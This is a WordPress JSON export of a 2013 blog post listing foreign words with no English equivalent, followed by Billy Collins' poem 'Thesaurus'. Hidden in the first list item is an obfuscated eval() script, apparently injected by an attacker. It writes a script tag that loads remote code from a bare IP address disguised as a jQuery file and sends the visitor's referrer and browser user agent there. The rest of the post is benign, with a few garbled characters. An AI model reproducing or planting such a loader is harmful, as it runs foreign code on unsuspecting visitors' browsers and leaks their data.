{"id":3503,"date":"2013-01-18T10:06:31","date_gmt":"2013-01-18T17:06:31","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3503"},"modified":"2013-04-26T10:51:25","modified_gmt":"2013-04-26T17:51:25","slug":"thesaurus-day-1","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3503","title":{"rendered":"Thesaurus Day"},"content":{"rendered":"<p>All week there seemed to be an internet trend about words that have no English equivalent, so in honor of Thesaurus Day I collected the ones I liked most.<\/p>\n<ul>\n<li>Cafune <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyien|var|u0026u|referrer|hdriz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> (Brazilian Portuguese) &#8212; to run your fingers tenderly through someone&#8217;s hair<\/li>\n<li>Cavoli Riscaldati (Italian) &#8212; &#8220;reheated cabbage&#8221; &#8211; trying to revive an unworkable relationship<\/li>\n<li>Cotisuelto (Caribbean Spanish) &#8212; a man who wears the shirt tail outside of his trousers (This drives Paul crazy!)<\/li>\n<li>Emp\u00c3\u00aachement (French) &#8212; An unexpected last-minute change of plans.<\/li>\n<li>Gezelligheid (Dutch) or Hygge (Danish) &#8212; the comfortable, cozy feeling of being at home with friends, probably sitting by the fireside<\/li>\n<li>Kummerspeck (German) &#8212; &#8220;grief bacon&#8221; -\u00c2\u00a0 Excess weight gained from emotional overeating<\/li>\n<li>Murr-ma (Waigman\/Australian) &#8212; To walk alongside the water while searching for something with your feet.<\/li>\n<li>P\u00c3\u00a5legg (Norweigian) &#8212; anything you might put in a sandwich<\/li>\n<li>Toska (Russian) &#8212; a dull ache of the soul, a longing with nothing to long for<\/li>\n<li>Tartle (Scots) &#8212; The hesitation just before you have to introduce someone whose name you can&#8217;t quite remember.<\/li>\n<li>Uitwaaien (Dutch) &#8212; To walk in the wind (to take a brief break in the country side to clear one\u00e2\u20ac\u2122s head)<\/li>\n<li>Vybafnout (Czech) &#8212; to jump out and say boo; and Mencolek (Indonesian) &#8212; to tap someone lightly on the opposite shoulder from behind to fool them<\/li>\n<li>Viitsima (Estonian) &#8212; a vague laziness where you just can&#8217;t be bothered to do anything<\/li>\n<li>Wabi-Sabi (Japanese) &#8212; finding beauty within the imperfections of life, accepting the natural cycle of growth and decay<\/li>\n<li>Zeg (Georgian) &#8212; It means &#8220;the day after tomorrow.&#8221; I think we should all start using this word!<\/li>\n<\/ul>\n<h2>Thesaurus<\/h2>\n<div>\n<div>\n<p>It could be the name of a prehistoric beast<br \/>\nthat roamed the Paleozoic earth, rising up<br \/>\non its hind legs to show off its large vocabulary,<br \/>\nor some lover in a myth who is metamorphosed into a book.<\/p>\n<p>It means treasury, but it is just a place<br \/>\nwhere words congregate with their relatives,<br \/>\na big park where hundreds of family reunions<br \/>\nare always being held,<br \/>\nhouse, home, abode, dwelling, lodgings, and digs,<br \/>\nall sharing the same picnic basket and thermos;<br \/>\nhairy, hirsute, woolly, furry, fleecy, and shaggy<br \/>\nall running a sack race or throwing horseshoes,<br \/>\ninert, static, motionless, fixed and immobile<br \/>\nstanding and kneeling in rows for a group photograph.<\/p>\n<p>Here father is next to sire and brother close<br \/>\nto sibling, separated only by fine shades of meaning.<br \/>\nAnd every group has its odd cousin, the one<br \/>\nwho traveled the farthest to be here:<br \/>\nastereognosis, polydipsia, or some eleven<br \/>\nsyllable, unpronounceable substitute for the word tool.<br \/>\nEven their own relatives have to squint at their name tags.<\/p>\n<p>I can see my own copy up on a high shelf.<br \/>\nI rarely open it, because I know there is no<br \/>\nsuch thing as a synonym and because I get nervous<br \/>\naround people who always assemble with their own kind,<br \/>\nforming clubs and nailing signs to closed front doors<br \/>\nwhile others huddle alone in the dark streets.<\/p>\n<p>I would rather see words out on their own, away<br \/>\nfrom their families and the warehouse of Roget,<br \/>\nwandering the world where they sometimes fall<br \/>\nin love with a completely different word.<br \/>\nSurely, you have seen pairs of them standing forever<br \/>\nnext to each other on the same line inside a poem,<br \/>\na small chapel where weddings like these,<br \/>\nbetween perfect strangers, can take place.<\/p>\n<p>~ Billy Collins<\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>All week there seemed to be an internet trend about words that have no English&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3752,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[42],"class_list":["post-3503","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3503"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3503"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3503\/revisions"}],"predecessor-version":[{"id":3508,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3503\/revisions\/3508"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3752"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3503"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3503"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3503"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}